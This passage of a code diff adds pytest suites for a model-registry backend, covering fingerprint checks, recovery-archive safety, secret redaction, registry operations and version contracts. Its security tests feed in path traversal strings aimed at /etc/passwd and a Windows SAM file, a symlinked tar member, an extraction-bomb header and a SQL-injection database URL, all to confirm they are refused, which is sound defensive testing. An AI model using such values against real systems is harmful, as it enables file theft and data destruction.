+    )
+    restored_tables = restored["tables"]
+    assert isinstance(restored_tables, dict)
+    restored_tables.pop("models")
+
+    assert contract.compatible is True
+    assert (
+        audit_fingerprint_differences_are_compatible(source, restored, contract)
+        is False
+    )
+
+
+def test_bounded_table_fingerprint_can_never_authorize_ready() -> None:
+    source = _fingerprint(FINGERPRINT_VERSION, include_checkpoint=True)
+    source_tables = source["tables"]
+    assert isinstance(source_tables, dict)
+    source_tables["models"] = {
+        "row_count": MAX_ROWS_PER_TABLE,
+        "digest": "7" * 64,
+        "status": "BOUNDED",
+        "redacted_columns": [],
+    }
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=False
+    )
+
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+    assert contract.compatible is False
+
+
+def test_more_than_250k_rows_is_observed_as_bounded_not_a_complete_digest() -> None:
+    table = Table("simulated_large_table", MetaData(), Column("value", Integer()))
+
+    class SimulatedRows:
+        def yield_per(self, _size: int) -> Any:
+            for value in range(MAX_ROWS_PER_TABLE + 1):
+                yield (value,)
+
+    class SimulatedConnection:
+        def execute(self, _statement: Any) -> SimulatedRows:
+            return SimulatedRows()
+
+    entry = _table_digest(SimulatedConnection(), table)  # type: ignore[arg-type]
+
+    assert entry["row_count"] == MAX_ROWS_PER_TABLE
+    assert entry["status"] == "BOUNDED"
+
+
+def test_length_prefixed_typed_rows_have_no_delimiter_or_null_type_collision() -> None:
+    assert _canonical_row(("a\x1fb", "c")) != _canonical_row(("a", "b\x1fc"))
+    assert _canonical_row((None,)) != _canonical_row(("\x00",))
+    assert _canonical_row((1,)) != _canonical_row(("1",))
+
+
+def test_fingerprint_rejects_dropped_current_truth_table_presence() -> None:
+    source = _fingerprint(FINGERPRINT_VERSION, include_checkpoint=True)
+    restored = _with_legitimate_reconciliation_delta(
+        source, introduce_checkpoint=False
+    )
+    physical = restored["physical_tables"]
+    assert isinstance(physical, list)
+    physical.remove("host_telemetry_latest")
+
+    contract = fingerprint_compatibility(
+        source, restored, source_schema_revision="20260830_0024"
+    )
+    assert contract.compatible is False
+
+
+def test_postgres_query_rows_parses_csv_safely_and_enforces_its_bound() -> None:
+    engine = PostgresEngine()
+    engine._run = lambda *_args, **_kwargs: CommandResult(  # type: ignore[method-assign]
+        command="psql",
+        returncode=0,
+        stdout='id,details\r\n1,"{""message"":""a,b""}"\r\n',
+        stderr="",
+        duration_seconds=0.01,
+    )
+    assert engine.query_rows(TARGET, "select bounded", max_rows=1) == [
+        {"id": "1", "details": '{"message":"a,b"}'}
+    ]
+
+    engine._run = lambda *_args, **_kwargs: CommandResult(  # type: ignore[method-assign]
+        command="psql",
+        returncode=0,
+        stdout="id\r\n1\r\n2\r\n",
+        stderr="",
+        duration_seconds=0.01,
+    )
+    with pytest.raises(PostgresToolError, match="more than 1"):
+        engine.query_rows(TARGET, "select unexpectedly_unbounded", max_rows=1)

backend/tests/test_recovery_security_m15.py

@@ -0,0 +1,261 @@
+"""M15 recovery path, archive and secret-boundary security tests."""
+
+from __future__ import annotations
+
+import io
+import json
+import tarfile
+from pathlib import Path
+
+import pytest
+
+from modelforge_api.domain.recovery import redact_database_url
+from modelforge_api.services.recovery_paths import (
+    MAX_ARCHIVE_MEMBERS,
+    RecoveryPathError,
+    extract_archive,
+    normalise_root,
+    resolve_within,
+    sha256_bytes,
+    sha256_file,
+    validate_archive,
+)
+from modelforge_api.services.recovery_postgres import PostgresToolError, parse_target
+
+
+@pytest.fixture
+def root(tmp_path: Path) -> Path:
+    target = tmp_path / "backups"
+    target.mkdir()
+    return target
+
+
+# --------------------------------------------------------------------- path safety
+
+
+@pytest.mark.parametrize(
+    "candidate",
+    [
+        "../escape.dump",
+        "nested/../../escape.dump",
+        "..",
+        "a/../../b",
+        "~/escape.dump",
+        "/etc/passwd",
+        "C:/Windows/System32/config/SAM",
+        "\\\\server\\share\\payload.dump",
+        "",
+        "   ",
+    ],
+)
+def test_traversal_and_absolute_paths_are_rejected(root: Path, candidate: str) -> None:
+    with pytest.raises(RecoveryPathError) as error:
+        resolve_within(root, candidate)
+    assert error.value.code == "PATH_NOT_ALLOWED"
+
+
+def test_a_legitimate_relative_path_resolves_inside_the_root(root: Path) -> None:
+    resolved = resolve_within(root, "m15-backup/database.dump")
+    assert resolved.parent.parent == root.resolve()
+    assert resolved.name == "database.dump"
+
+
+def test_a_missing_payload_reports_payload_missing_rather_than_path_denied(root: Path) -> None:
+    with pytest.raises(RecoveryPathError) as error:
+        resolve_within(root, "m15-backup/absent.dump", must_exist=True)
+    assert error.value.code == "PAYLOAD_MISSING"
+
+
+def test_a_symlink_out_of_the_root_is_refused(root: Path, tmp_path: Path) -> None:
+    outside = tmp_path / "outside"
+    outside.mkdir()
+    (outside / "secret.dump").write_bytes(b"not-ours")
+    link = root / "escape"
+    try:
+        link.symlink_to(outside, target_is_directory=True)
+    except (OSError, NotImplementedError):
+        pytest.skip("symlink creation is not permitted in this environment")
+
+    with pytest.raises(RecoveryPathError) as error:
+        resolve_within(root, "escape/secret.dump", must_exist=True)
+    assert error.value.code == "PATH_NOT_ALLOWED"
+
+
+def test_a_relative_recovery_root_is_refused() -> None:
+    with pytest.raises(RecoveryPathError) as error:
+        normalise_root(Path("relative/backups"))
+    assert error.value.code == "PATH_NOT_ALLOWED"
+
+
+def test_hashing_helpers_agree_on_the_same_content(root: Path) -> None:
+    payload = b"modelforge-recovery-payload"
+    path = root / "payload.bin"
+    path.write_bytes(payload)
+    assert sha256_file(path) == sha256_bytes(payload)
+
+
+# --------------------------------------------------------------------- archive safety
+
+
+def build_archive(path: Path, members: list[tuple[str, bytes]]) -> Path:
+    with tarfile.open(path, "w") as handle:
+        for name, payload in members:
+            info = tarfile.TarInfo(name)
+            info.size = len(payload)
+            handle.addfile(info, io.BytesIO(payload))
+    return path
+
+
+def test_a_benign_archive_validates_and_extracts_inside_the_destination(
+    root: Path, tmp_path: Path
+) -> None:
+    archive = build_archive(
+        tmp_path / "good.tar", [("config/policies.yaml", b"policy: value"), ("manifest.json", b"{}")]
+    )
+    destination = root / "extracted"
+    names = validate_archive(archive, destination)
+    assert sorted(names) == ["config/policies.yaml", "manifest.json"]
+    extract_archive(archive, destination)
+    assert (destination / "config" / "policies.yaml").read_bytes() == b"policy: value"
+
+
+@pytest.mark.parametrize(
+    "member",
+    ["../escape.txt", "nested/../../escape.txt", "/absolute/escape.txt"],
+)
+def test_a_traversing_archive_member_is_refused_before_extraction(
+    root: Path, tmp_path: Path, member: str
+) -> None:
+    archive = build_archive(tmp_path / "evil.tar", [(member, b"payload")])
+    destination = root / "extracted"
+    with pytest.raises(RecoveryPathError) as error:
+        validate_archive(archive, destination)
+    assert error.value.code == "ARCHIVE_UNSAFE"
+    assert not any(destination.iterdir())
+
+
+def test_a_symlinked_archive_member_is_refused(root: Path, tmp_path: Path) -> None:
+    archive = tmp_path / "link.tar"
+    with tarfile.open(archive, "w") as handle:
+        info = tarfile.TarInfo("evil-link")
+        info.type = tarfile.SYMTYPE
+        info.linkname = "/etc/passwd"
+        handle.addfile(info)
+    with pytest.raises(RecoveryPathError) as error:
+        validate_archive(archive, root / "extracted")
+    assert error.value.code == "ARCHIVE_UNSAFE"
+
+
+def test_a_device_archive_member_is_refused(root: Path, tmp_path: Path) -> None:
+    archive = tmp_path / "device.tar"
+    with tarfile.open(archive, "w") as handle:
+        info = tarfile.TarInfo("evil-device")
+        info.type = tarfile.CHRTYPE
+        handle.addfile(info)
+    with pytest.raises(RecoveryPathError) as error:
+        validate_archive(archive, root / "extracted")
+    assert error.value.code == "ARCHIVE_UNSAFE"
+
+
+def test_an_unbounded_archive_member_count_is_refused(root: Path, tmp_path: Path) -> None:
+    archive = tmp_path / "many.tar"
+    with tarfile.open(archive, "w") as handle:
+        for index in range(MAX_ARCHIVE_MEMBERS + 5):
+            info = tarfile.TarInfo(f"file-{index}.txt")
+            info.size = 0
+            handle.addfile(info, io.BytesIO(b""))
+    with pytest.raises(RecoveryPathError) as error:
+        validate_archive(archive, root / "extracted")
+    assert error.value.code == "ARCHIVE_UNSAFE"
+
+
+def test_a_declared_extraction_bomb_is_refused(root: Path, tmp_path: Path) -> None:
+    archive = tmp_path / "bomb.tar"
+    # A header that claims 65 GiB; tarfile itself refuses to write one, so it is crafted here.
+    info = tarfile.TarInfo("huge.bin")
+    info.size = 65 * 1024**3
+    archive.write_bytes(info.tobuf() + bytes(1024))
+    with pytest.raises(RecoveryPathError) as error:
+        validate_archive(archive, root / "extracted")
+    assert error.value.code == "ARCHIVE_UNSAFE"
+
+
+# --------------------------------------------------------------------- destination safety
+
+
+def test_only_postgresql_destinations_with_safe_identifiers_are_accepted() -> None:
+    target = parse_target("postgresql+psycopg://modelforge:pw@postgres:5544/mf_restore")
+    assert (target.host, target.port, target.database) == ("postgres", 5544, "mf_restore")
+    assert target.redacted == "postgresql://modelforge@postgres:5544/mf_restore"
+    assert "pw" not in target.redacted
+
+
+@pytest.mark.parametrize(
+    "url",
+    [
+        "sqlite:///local.db",
+        "mysql://user:pw@host/db",
+        'postgresql://user:pw@host:5432/db";drop table models;--',
+        "postgresql://user:pw@host:5432/",
+    ],
+)
+def test_unsupported_or_unsafe_destinations_are_refused(url: str) -> None:
+    with pytest.raises(PostgresToolError):
+        parse_target(url)
+
+
+def test_a_redacted_url_never_carries_the_password() -> None:
+    redacted = redact_database_url("postgresql+psycopg://modelforge:hunter2@postgres:5432/mf")
+    assert "hunter2" not in redacted
+    assert redacted == "postgresql+psycopg://modelforge:***@postgres:5432/mf"
+
+
+# --------------------------------------------------------------------- secret boundary
+
+
+def test_a_configuration_manifest_names_secrets_without_carrying_their_values(
+    tmp_path: Path,
+) -> None:
+    from sqlalchemy import create_engine
+    from sqlalchemy.orm import Session
+
+    from modelforge_api.persistence.models import Base
+    from modelforge_api.services.recovery import RecoveryService
+    from modelforge_api.settings import Settings
+
+    config_root = tmp_path / "config"
+    (config_root / "policies").mkdir(parents=True)
+    (config_root / "policies" / "defaults.yaml").write_bytes(b"retention: 30\n")
+
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        service = RecoveryService(
+            session,
+            Settings(
+                backup_root=tmp_path / "backups",
+                config_root=config_root,
+                backup_encryption_key="a-local-rehearsal-key",
+                operator_api_key="super-secret-operator-key",
+                hf_token="hf_super_secret_token",  # noqa: S106 - deliberate leak probe
+                database_url="postgresql+psycopg://modelforge:dbpassword@postgres:5432/modelforge",
+            ),
+        )
+        manifest = service._configuration_manifest()
+
+    body = json.dumps(manifest)
+    assert "super-secret-operator-key" not in body
+    assert "hf_super_secret_token" not in body
+    assert "a-local-rehearsal-key" not in body
+    assert "dbpassword" not in body
+    keys = {item["key"] for item in manifest["secrets"]}
+    assert keys == {
+        "MODELFORGE_OPERATOR_API_KEY",
+        "MODELFORGE_BACKUP_ENCRYPTION_KEY",
+        "MODELFORGE_HF_TOKEN",
+    }
+    recoveries = {item["recovery"] for item in manifest["secrets"]}
+    assert recoveries == {"ROTATABLE_SECRET", "NON_EXPORTABLE_SECRET"}
+    files = {item["relative_path"]: item for item in manifest["files"]}
+    assert files["policies/defaults.yaml"]["classification"] == "SOURCE_CONTROLLED"
+    assert files["policies/defaults.yaml"]["sha256"] == sha256_bytes(b"retention: 30\n")

backend/tests/test_registry.py

@@ -0,0 +1,345 @@
+from __future__ import annotations
+
+import hashlib
+import uuid
+from pathlib import Path
+
+import pytest
+from fastapi.testclient import TestClient
+from pydantic import SecretStr
+from sqlalchemy import create_engine, select
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.api.routes.registry import get_registry_service
+from modelforge_api.domain.enums import ArtifactStatus, StorageRootStatus
+from modelforge_api.domain.registry import (
+    ArtifactCreate,
+    ArtifactLocationCreate,
+    DerivedArtifactCreate,
+    ModelCreate,
+    ModelUpdate,
+    RevisionCreate,
+    StorageRootCreate,
+    StorageRootObservation,
+)
+from modelforge_api.main import app
+from modelforge_api.persistence.models import AuditEvent, Base, ComputeNode, Model, ModelRevision
+from modelforge_api.services.manifest_registry import ManifestRegistry
+from modelforge_api.services.registry import (
+    RegistryConflict,
+    RegistryService,
+    seed_candidate_registry,
+)
+from modelforge_api.settings import Settings, get_settings
+
+
+def _test_operator_credential() -> str:
+    return "registry-test-operator"
+
+
+def _operator_headers() -> dict[str, str]:
+    return {"X-ModelForge-Admin-Token": _test_operator_credential()}
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def create_model(service: RegistryService, key: str = "registry-test"):
+    return service.create_model(
+        ModelCreate(
+            key=key,
+            display_name="Registry Test",
+            description="locally governed metadata",
+            upstream_provider="example",
+            upstream_source=f"example/{key}",
+            upstream_metadata={"repository_id": f"example/{key}"},
+            local_metadata={"owner": "modelops"},
+            interpretation_metadata={"intended_capabilities": ["assistant.general"]},
+            license_metadata={"status": "unknown", "spdx_id": None},
+        )
+    )
+
+
+def create_revision(service: RegistryService, model_id: uuid.UUID, suffix: str = "a"):
+    return service.create_revision(
+        model_id,
+        RevisionCreate(
+            upstream_revision="main",
+            resolved_commit_sha=suffix * 40,
+            metadata_snapshot={"source": "operator"},
+        ),
+    )
+
+
+def create_node_and_root(service: RegistryService, session: Session, path: Path):
+    node = ComputeNode(key=f"node-{uuid.uuid4()}", hostname="test-node")
+    session.add(node)
+    session.commit()
+    return service.create_storage_root(
+        StorageRootCreate(
+            compute_node_id=node.id,
+            name="model-cache",
+            path=str(path),
+            reserve_bytes=10,
+            reserve_percent=10,
+        )
+    )
+
+
+def test_seed_is_idempotent_and_preserves_local_admin_metadata(session: Session) -> None:
+    manifests = ManifestRegistry()
+    assert seed_candidate_registry(session, manifests) == 15
+    model = session.scalar(select(Model).where(Model.key == "qwen-general"))
+    assert model is not None
+    model.local_metadata = {"owner": "Jens", "review_status": "reviewed"}
+    session.commit()
+    assert seed_candidate_registry(session, manifests) == 0
+    session.refresh(model)
+    assert model.local_metadata == {"owner": "Jens", "review_status": "reviewed"}
+    assert session.query(Model).count() == 15
+    assert model.license_metadata == {"status": "unknown", "spdx_id": None, "source": None}
+
+
+def test_model_crud_deprecation_and_audit(session: Session) -> None:
+    service = RegistryService(session)
+    model = create_model(service)
+    updated = service.update_model(
+        model.id,
+        ModelUpdate(display_name="Renamed", local_metadata={"owner": "platform"}),
+    )
+    assert updated.display_name == "Renamed"
+    assert updated.local_metadata == {"owner": "platform"}
+    deprecated = service.deprecate_model(model.id)
+    assert deprecated.lifecycle == "deprecated" and deprecated.deprecated_at is not None
+    archived = service.archive_model(model.id)
+    assert archived.lifecycle == "archived"
+    service.delete("model", model.id)
+    assert session.get(Model, model.id) is None
+    actions = set(session.scalars(select(AuditEvent.action)))
+    assert {
+        "MODEL_CREATED",
+        "MODEL_UPDATED",
+        "MODEL_DEPRECATED",
+        "MODEL_ARCHIVED",
+        "MODEL_DELETED",
+    } <= actions
+
+
+def test_exact_revision_is_immutable_and_duplicate_is_rejected(session: Session) -> None:
+    service = RegistryService(session)
+    model = create_model(service)
+    revision = create_revision(service, model.id)
+    assert revision.immutable_at is not None
+    with pytest.raises(RegistryConflict, match="already registered"):
+        create_revision(service, model.id)
+    entity = session.get(ModelRevision, revision.id)
+    assert entity is not None
+    entity.resolved_commit_sha = "b" * 40
+    with pytest.raises(ValueError, match="immutable approved fields"):
+        session.commit()
+    session.rollback()
+
+
+def test_streaming_hash_verification_good_corrupt_and_missing(
+    session: Session, tmp_path: Path
+) -> None:
+    service = RegistryService(session)
+    model = create_model(service)
+    revision = create_revision(service, model.id)
+    root = create_node_and_root(service, session, tmp_path)
+    payload = b"safe static artifact bytes"
+    target = tmp_path / "weights.bin"
+    target.write_bytes(payload)
+    digest = hashlib.sha256(payload).hexdigest()
+    artifact = service.create_artifact(
+        revision.id,
+        ArtifactCreate(
+            filename="weights.bin",
+            artifact_type="weights",
+            serialization_format="safetensors",
+            sha256=digest,
+            size_bytes=len(payload),
+            status=ArtifactStatus.LOCAL,
+            locations=[
+                ArtifactLocationCreate(
+                    storage_root_id=root.id,
+                    relative_path="weights.bin",
+                    status=ArtifactStatus.LOCAL,
+                )
+            ],
+        ),
+    )
+    location_id = artifact.locations[0].id
+    verified = service.verify_artifact(artifact.id, location_id)
+    assert verified.status is ArtifactStatus.VERIFIED
+    assert (
+        service.repo.artifact(artifact.id).verification_details["inspection"]
+        == "streaming_sha256_only"
+    )  # type: ignore[union-attr]
+    target.write_bytes(b"tampered")
+    assert service.verify_artifact(artifact.id, location_id).status is ArtifactStatus.CORRUPT
+    target.unlink()
+    assert service.verify_artifact(artifact.id, location_id).status is ArtifactStatus.MISSING
+
+
+def test_multiple_locations_are_not_artifact_identity(session: Session, tmp_path: Path) -> None:
+    service = RegistryService(session)
+    model = create_model(service)
+    revision = create_revision(service, model.id)
+    first_root = create_node_and_root(service, session, tmp_path / "one")
+    second_root = create_node_and_root(service, session, tmp_path / "two")
+    artifact = service.create_artifact(
+        revision.id,
+        ArtifactCreate(
+            filename="model.safetensors",
+            artifact_type="weights",
+            serialization_format="safetensors",
+            sha256="c" * 64,
+            size_bytes=42,
+            locations=[
+                ArtifactLocationCreate(storage_root_id=first_root.id, relative_path="a/model.bin"),
+                ArtifactLocationCreate(storage_root_id=second_root.id, relative_path="b/model.bin"),
+            ],
+        ),
+    )
+    assert len(artifact.locations) == 2
+    assert {item.artifact_id for item in artifact.locations} == {artifact.id}
+
+
+def test_multi_source_derived_lineage_and_dependency_safe_delete(
+    session: Session,
+) -> None:
+    service = RegistryService(session)
+    model = create_model(service)
+    revision = create_revision(service, model.id)
+    sources = []
+    for digest, name in (("d" * 64, "weights.bin"), ("e" * 64, "tokenizer.json")):
+        sources.append(
+            service.create_artifact(
+                revision.id,
+                ArtifactCreate(
+                    filename=name,
+                    artifact_type="source",
+                    serialization_format="raw",
+                    sha256=digest,
+                    size_bytes=10,
+                ),
+            )
+        )
+    derived = service.create_derived(
+        DerivedArtifactCreate(
+            revision_id=revision.id,
+            source_artifact_ids=[item.id for item in sources],
+            filename="bundle.gguf",
+            artifact_type="weights",
+            sha256="f" * 64,
+            size_bytes=20,
+            transformation_type="format_conversion",
+            tool="converter",
+            tool_version="1.2.3",
+            configuration={"precision": "fp16"},
+            environment_snapshot={"container_digest": "sha256:" + "1" * 64},
+        )
+    )
+    assert [item.sha256 for item in derived.sources] == ["d" * 64, "e" * 64]
+    with pytest.raises(RegistryConflict) as blocked:
+        service.delete("model_artifact", sources[0].id)
+    assert blocked.value.details["dependencies"][0]["resource_type"] == "derived_artifact"
+    with pytest.raises(RegistryConflict):
+        service.delete("model_revision", revision.id)
+    actions = list(session.scalars(select(AuditEvent.action)))
+    assert "DERIVED_ARTIFACT_REGISTERED" in actions
+    assert "REGISTRY_DELETE_BLOCKED" in actions
+
+
+def test_storage_capacity_guards_unknown_read_only_and_reserve(
+    session: Session, tmp_path: Path
+) -> None:
+    service = RegistryService(session)
+    root = create_node_and_root(service, session, tmp_path)
+    unknown = service.check_capacity(root.id, 1)
+    assert not unknown.allowed and unknown.status is StorageRootStatus.UNKNOWN
+    observed = service.observe_storage_root(
+        root.id,
+        StorageRootObservation(
+            writable=False,
+            capacity_bytes=1000,
+            free_bytes=500,
+            details={"probe": "remote-node-agent"},
+        ),
+    )
+    assert observed.status is StorageRootStatus.READ_ONLY
+    service.observe_storage_root(
+        root.id,
+        StorageRootObservation(writable=True, capacity_bytes=1000, free_bytes=500),
+    )
+    assert service.check_capacity(root.id, 400).allowed
+    blocked = service.check_capacity(root.id, 401)
+    assert not blocked.allowed and blocked.usable_bytes == 400
+
+
+def test_typed_paginated_api_and_structured_delete_conflict() -> None:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        service = RegistryService(session)
+        settings = Settings(
+            _env_file=None,
+            operator_api_key=SecretStr(_test_operator_credential()),
+        )
+        app.dependency_overrides[get_registry_service] = lambda: service
+        app.dependency_overrides[get_settings] = lambda: settings
+        try:
+            with TestClient(app) as client:
+                created = client.post(
+                    "/api/v1/models",
+                    headers=_operator_headers(),
+                    json={
+                        "key": "api-model",
+                        "display_name": "API Model",
+                        "source_type": "custom",
+                        "upstream_provider": "internal",
+                        "upstream_source": "internal/api-model",
+                        "upstream_metadata": {"verification": "unverified"},
+                        "local_metadata": {"owner": "test"},
+                        "interpretation_metadata": {},
+                        "modalities": [],
+                        "parameter_metadata": {},
+                        "license_metadata": {"status": "unknown"},
+                        "lifecycle": "candidate",
+                    },
+                )
+                assert created.status_code == 201
+                model_id = created.json()["id"]
+                page = client.get(
+                    "/api/v1/models?page=1&page_size=1&search=API",
+                    headers=_operator_headers(),
+                ).json()
+                assert page["total"] == 1 and page["items"][0]["id"] == model_id
+                revision = client.post(
+                    f"/api/v1/models/{model_id}/revisions",
+                    headers=_operator_headers(),
+                    json={
+                        "upstream_revision": "release",
+                        "resolved_commit_sha": "a" * 40,
+                        "metadata_snapshot": {},
+                    },
+                )
+                assert revision.status_code == 201
+                conflict = client.delete(f"/api/v1/models/{model_id}", headers=_operator_headers())
+                assert conflict.status_code == 409
+                details = conflict.json()["error"]["details"]["dependencies"]
+                assert details[0]["resource_type"] == "model_revision"
+                assert details[0]["relation"] == "revision"
+        finally:
+            app.dependency_overrides.clear()

backend/tests/test_release_contract_m17.py

@@ -0,0 +1,377 @@
+"""The v1 release contract, enforced.
+
+A release that misdescribes itself is a release nobody can support. These tests hold the version to
+one source of truth, hold the compatibility ranges to explicit answers, and hold production
+configuration to rules a development environment is allowed to break.
+"""
+
+from __future__ import annotations
+
+import json
+import re
+import tomllib
+from pathlib import Path
+
+import pytest
+from pydantic import SecretStr
+
+from modelforge_api import __version__
+from modelforge_api.domain.release import (
+    CURRENT_AGENT_PROTOCOL_VERSION,
+    MINIMUM_POSTGRES_MAJOR,
+    MINIMUM_UPGRADE_SOURCE,
+    PRODUCT_VERSION,
+    RELEASE_CHANNEL,
+    SUPPORTED_AGENT_PROTOCOL_VERSIONS,
+    SUPPORTED_SCHEMA_REVISIONS,
+    SUPPORTED_UPGRADE_SOURCE_SCHEMA_REVISIONS,
+    TARGET_SCHEMA_REVISION,
+    Compatibility,
+    SemanticVersion,
+    agent_protocol_compatibility,
+    build_identity,
+    schema_compatibility,
+    upgrade_required,
+)
+from modelforge_api.services.startup_validation import (
+    StartupFailureCode,
+    StartupValidationError,
+    enforce_startup,
+    validate_settings,
+)
+from modelforge_api.settings import Settings
+
+ROOT = Path(__file__).resolve().parents[2]
+
+
+# --------------------------------------------------------------------------- one version
+
+
+def test_the_version_file_is_the_single_source_of_truth() -> None:
+    declared = (ROOT / "VERSION").read_text("utf-8").strip()
+    assert declared == PRODUCT_VERSION
+    assert declared == __version__
+
+
+@pytest.mark.parametrize(
+    "manifest",
+    ["backend/pyproject.toml", "node-agent/pyproject.toml", "runtime-worker/pyproject.toml"],
+)
+def test_every_python_manifest_matches_the_version_file(manifest: str) -> None:
+    """Four independent copies of the version is three chances to publish a wrong one."""
+
+    data = tomllib.loads((ROOT / manifest).read_text("utf-8"))
+    assert data["project"]["version"] == PRODUCT_VERSION, (
+        f"{manifest} declares {data['project']['version']!r}, VERSION says {PRODUCT_VERSION!r}"
+    )
+
+
+def test_the_console_manifest_matches_the_version_file() -> None:
+    data = json.loads((ROOT / "frontend" / "package.json").read_text("utf-8"))
+    assert data["version"] == PRODUCT_VERSION
+
+
+@pytest.mark.parametrize(
+    "module",
+    [
+        "node-agent/src/modelforge_node_agent/__init__.py",
+        "runtime-worker/src/modelforge_runtime_worker/__init__.py",
+    ],
+)
+def test_every_component_module_matches_the_version_file(module: str) -> None:
+    text = (ROOT / module).read_text("utf-8")
+    match = re.search(r'__version__ = "([^"]+)"', text)
+    assert match is not None, f"{module} declares no __version__"
+    assert match.group(1) == PRODUCT_VERSION
+
+
+def test_the_release_version_is_semantic_and_not_a_prerelease() -> None:
+    parsed = SemanticVersion.parse(PRODUCT_VERSION)
+    assert not parsed.is_prerelease
+    assert parsed.major >= 1, "a v1 release cannot carry a 0.x major"
+
+
+@pytest.mark.parametrize("bad", ["1.0", "1.0.0.0", "v1.0.0", "one.0.0", ""])
+def test_a_malformed_version_is_refused(bad: str) -> None:
+    with pytest.raises(ValueError):
+        SemanticVersion.parse(bad)
+
+
+# --------------------------------------------------------------------------- compatibility
+
+
+def test_the_target_schema_revision_is_supported() -> None:
+    assert TARGET_SCHEMA_REVISION == "20260830_0024"
+    assert TARGET_SCHEMA_REVISION in SUPPORTED_SCHEMA_REVISIONS
+    assert schema_compatibility(TARGET_SCHEMA_REVISION) is Compatibility.COMPATIBLE
+    assert "20260827_0021" in SUPPORTED_UPGRADE_SOURCE_SCHEMA_REVISIONS
+    assert "20260828_0022" in SUPPORTED_UPGRADE_SOURCE_SCHEMA_REVISIONS
+    assert "20260827_0021" not in SUPPORTED_SCHEMA_REVISIONS
+
+
+def test_the_rc_schema_has_one_explicit_direct_upgrade_contract() -> None:
+    # The version bump is a later release tranche. This schema tranche must already describe every
+    # accepted source honestly so an intermediate protected merge cannot migrate the wrong target.
+    assert PRODUCT_VERSION == "1.2.2"
+    assert MINIMUM_UPGRADE_SOURCE == "v1.0.0"
+    assert SUPPORTED_UPGRADE_SOURCE_SCHEMA_REVISIONS == (
+        "20260827_0021",
+        "20260828_0022",
+        "20260830_0023",
+        "20260830_0024",
+    )
+
+
+def test_v1_1_documents_the_destructive_downgrade_boundary_truthfully() -> None:
+    migration = (
+        ROOT / "backend" / "alembic" / "versions" / "20260828_0022_node_decommission.py"
+    ).read_text("utf-8")
+    upgrade_runbook = (ROOT / "docs" / "UPGRADE.md").read_text("utf-8")
+    upgrade_tool = (ROOT / "scripts" / "upgrade.py").read_text("utf-8")
+    assert "def downgrade()" in migration
+    assert "tombstone-free" in upgrade_runbook
+    assert "not the production rollback promise" in upgrade_runbook
+    assert "rehearsal-only" in upgrade_tool
+
+
+@pytest.mark.parametrize(
+    ("revision", "expected"),
+    [
+        ("20260830_0024", Compatibility.COMPATIBLE),
+        ("20260830_0023", Compatibility.TOO_OLD),
+        ("20260828_0022", Compatibility.TOO_OLD),
+        ("20260827_0021", Compatibility.TOO_OLD),
+        ("20260101_0001", Compatibility.TOO_OLD),
+        ("20990101_0099", Compatibility.TOO_NEW),
+        (None, Compatibility.UNKNOWN),
+    ],
+)
+def test_schema_compatibility_is_explicit(revision: str | None, expected: Compatibility) -> None:
+    assert schema_compatibility(revision) is expected
+
+
+@pytest.mark.parametrize(
+    ("protocol", "expected"),
+    [
+        (1, Compatibility.COMPATIBLE),
+        (0, Compatibility.TOO_OLD),
+        (2, Compatibility.TOO_NEW),
+        (None, Compatibility.UNKNOWN),
+    ],
+)
+def test_agent_protocol_compatibility_is_explicit(
+    protocol: int | None, expected: Compatibility
+) -> None:
+    assert agent_protocol_compatibility(protocol) is expected
+
+
+def test_only_a_compatible_answer_requires_no_operator_action() -> None:
+    assert upgrade_required(Compatibility.COMPATIBLE) is None
+    for other in (Compatibility.TOO_OLD, Compatibility.TOO_NEW, Compatibility.UNKNOWN):
+        message = upgrade_required(other)
+        assert message and message.strip(), f"{other} must tell the operator what to do"
+
+
+def test_the_control_plane_speaks_a_protocol_it_supports() -> None:
+    assert CURRENT_AGENT_PROTOCOL_VERSION in SUPPORTED_AGENT_PROTOCOL_VERSIONS
+
+
+def test_the_declared_protocol_matches_the_wire_constant() -> None:
+    from modelforge_api.domain.agent_protocol import AGENT_PROTOCOL_VERSION
+
+    assert AGENT_PROTOCOL_VERSION == CURRENT_AGENT_PROTOCOL_VERSION
+
+
+# --------------------------------------------------------------------------- build identity
+
+
+def test_build_identity_reports_absent_values_as_null_rather_than_guessing() -> None:
+    identity = build_identity()
+    assert identity.version == PRODUCT_VERSION
+    assert identity.source_commit is None
+    assert identity.built_at is None
+    assert identity.image_digest is None
+    assert identity.channel == RELEASE_CHANNEL
+    assert identity.schema_revision == TARGET_SCHEMA_REVISION
+
+
+@pytest.mark.parametrize("placeholder", ["", "   ", "unknown", "UNKNOWN", "none", "null"])
+def test_an_unsubstituted_build_argument_is_not_reported_as_a_fact(placeholder: str) -> None:
+    """A Dockerfile ARG that was never passed must not become a claimed commit."""
+
+    identity = build_identity(source_commit=placeholder, image_digest=placeholder)
+    assert identity.source_commit is None
+    assert identity.image_digest is None
+
+
+def test_build_identity_carries_a_real_commit_when_given_one() -> None:
+    identity = build_identity(source_commit="657ad91", built_at="2026-08-27T12:00:00Z")
+    assert identity.source_commit == "657ad91"
+    assert identity.built_at == "2026-08-27T12:00:00Z"
+    assert "source_commit" in identity.as_dict()
+
+
+# --------------------------------------------------------------------------- configuration
+
+
+def _production(**overrides: object) -> Settings:
+    base: dict[str, object] = {
+        "env": "production",
+        "operator_api_key": SecretStr("k" * 48),
+        "backup_encryption_key": SecretStr("x" * 44),
+        "database_url": "postgresql+psycopg://modelforge_runtime:aVeryLongProductionSecret@db:5432/mf",
+        "redis_url": "redis://cache:6379/0",
+        "cors_origins": "https://console.example.test",
+        "allow_remote_code": False,
+    }
+    base.update(overrides)
+    return Settings(**base)  # type: ignore[arg-type]
+
+
+def _codes(settings: Settings) -> set[str]:
+    return {str(problem.code) for problem in validate_settings(settings).problems}
+
+
+def test_production_without_an_operator_key_is_refused() -> None:
+    settings = _production(operator_api_key=None)
+    assert StartupFailureCode.MISSING_REQUIRED_SETTING in _codes(settings)
+
+
+def test_production_with_a_short_operator_key_is_refused() -> None:
